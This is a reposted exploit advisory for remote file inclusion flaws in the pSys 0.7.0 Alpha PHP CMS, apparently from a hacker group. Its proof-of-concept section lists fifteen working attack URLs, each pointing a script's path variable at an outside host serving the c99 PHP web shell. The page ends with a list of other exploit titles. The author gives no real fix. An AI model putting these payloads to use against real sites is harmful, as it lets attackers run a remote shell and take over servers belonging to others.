pSys 0.7.0 Alpha Multiple Remote File Inclusion Vulnerability

所属分类: 网络安全 / Exploit 阅读数: 162
收藏 0 赞 0 分享
====================================================
| pSys v0.7.0 Alpha Multiple Remote File Include
| (works only with register_globals = on)
| Founded By rXh RoMaNTiC-TeaM
====================================================

[!] Discovered.: RoMaNcYxHaCkEr
[!] Vendor.....: http://www.powie.de
[!] My Homepage...: WwW.4RxH.CoM
[!] RoMaNTiC-TeaM Members ...: Unknown Hacker , aLwHeD , GaMe-OvEr-HaCkErs
[!] Contact Me ...: rxh0@hotmail.com

[!] Background.: pSys is a module based PHP Script

[!] Bugs........: In Different Files & In Different Variable And Lines

[!] PoC........:

http://4RxH.CoM/cms1/login.inc.php?pdir=http://www.uploadhere.org/c99.txt?
http://4RxH.CoM/cms1/admin/adminmenuright.php?pdir_admin=http://www.uploadhere.org/c99.txt?
http://4RxH.CoM/cms1/admin/fuss.php?pdir_admin=http://www.uploadhere.org/c99.txt?
http://4RxH.CoM/cms1/admin/kopf.php?pdir_admin=http://www.uploadhere.org/c99.txt?
http://4RxH.CoM/cms1/forum/ajax_newpost.inc.php?pdir_lib=http://www.uploadhere.org/c99.txt?
http://4RxH.CoM/cms1/panels/panel_shopkategorie.php?pdir_mod=http://www.uploadhere.org/c99.txt?
http://4RxH.CoM/cms1/panels/panel_shopkunde.php?pdir_mod=http://www.uploadhere.org/c99.txt?
http://4RxH.CoM/cms1/panels/panel_user.php?pdir=http://www.uploadhere.org/c99.txt?
http://4RxH.CoM/cms1/mod/gb/ajax_post.inc.php?pdir_lib=http://www.uploadhere.org/c99.txt?
http://4RxH.CoM/cms1/style/csg/fuss.php?pdir=http://www.uploadhere.org/c99.txt?
http://4RxH.CoM/cms1/style/csg/kopf.php?pdir=http://www.uploadhere.org/c99.txt?
http://4RxH.CoM/cms1/style/default/fuss.php?pdir=http://www.uploadhere.org/c99.txt?
http://4RxH.CoM/cms1/style/default/kopf.php?pdir=http://www.uploadhere.org/c99.txt?
http://4RxH.CoM/cms1/style/simpleblack/fuss.php?pdir=http://www.uploadhere.org/c99.txt?
http://4RxH.CoM/cms1/style/simpleblack/kopf.php?pdir=http://www.uploadhere.org/c99.txt?

[!] Solution...: Contact With Me I Will Declear All This Fucking Function

[!] Greetingz..: No One Deserved (Am I Said The Truth ?!!!)

[!] Thx .. : DNX For Your Exploit I Found This Bugs From Your Exploit :)

[!] rXh

[!] bEST wISHES
更多精彩内容其他人还在看

Maian Events 2.0 Insecure Cookie Handling Vulnerability

Author: Saime Date: July 12, 2008 Script: Maian Events v2.0 Insecure Cookie Handling Vulnerability URL: http://www.maianscriptworld
收藏 0 赞 0 分享

Maian Gallery 2.0 Insecure Cookie Handling Vulnerability

Author: Saime Date: July 12, 2008 Script: Maian Gallery v2.0 Insecure Cookie Handling Vulnerability URL: http://www.maianscriptworl
收藏 0 赞 0 分享

Million Pixels 3 (id_cat) Remote SQL Injection Vulnerability

################################################################# # # Million Pixels 3 (id_cat) Remote SQL Injection Vulnerability
收藏 0 赞 0 分享

Maian Cart 1.1 Insecure Cookie Handling Vulnerability

Author: Saime Date: July 12, 2008 Script: Maian Cart v1.1 Insecure Cookie Handling Vulnerability URL: http://www.maianscriptworld.c
收藏 0 赞 0 分享

Mercury Mail 4.0.1 (LOGIN) Remote IMAP Stack Buffer Overflow Exploit

#!/usr/bin/perl # # http://www.securityfocus.com/bid/11775 # credit to Muts for this vulnerability # acaro [at] jervus.it
收藏 0 赞 0 分享

phsBlog 0.2 Bypass SQL Injection Filtering Exploit

#!/usr/bin/perl #---------------------------------------------------------------- # #Script : PhsBlog v0.2 # #Type : Bypass S
收藏 0 赞 0 分享

Easy Photo Gallery 2.1 XSS/FD/Bypass/SQL Injection Exploit

#!/usr/bin/perl #---------------------------------------------------------------- # #Script : Ezphotogallery 2.1 # #Type : Mu
收藏 0 赞 0 分享

Maxthon Browser 2.1.4.443 UNICODE Remote Denial of Service PoC

<!-- Maxthon Browser 2.1.4.443 UNICODE Remote Denial of Service PoC Summary: Maxthon Browser is a powerful tabbed browser built
收藏 0 赞 0 分享

minb 0.1.0 Remote Code Execution Exploit

#!/usr/bin/python ##################################################################################### #### minb
收藏 0 赞 0 分享

Adobe Acrobat 9 ActiveX Remote Denial of Service Exploit

<!-- Jeremy Brown (0xjbrown41@gmail.com/jbrownsec.blogspot.com) Adobe Acrobat 9 Remote DoS (--) Tested on AA9/IE7/Vista I
收藏 0 赞 0 分享
查看更多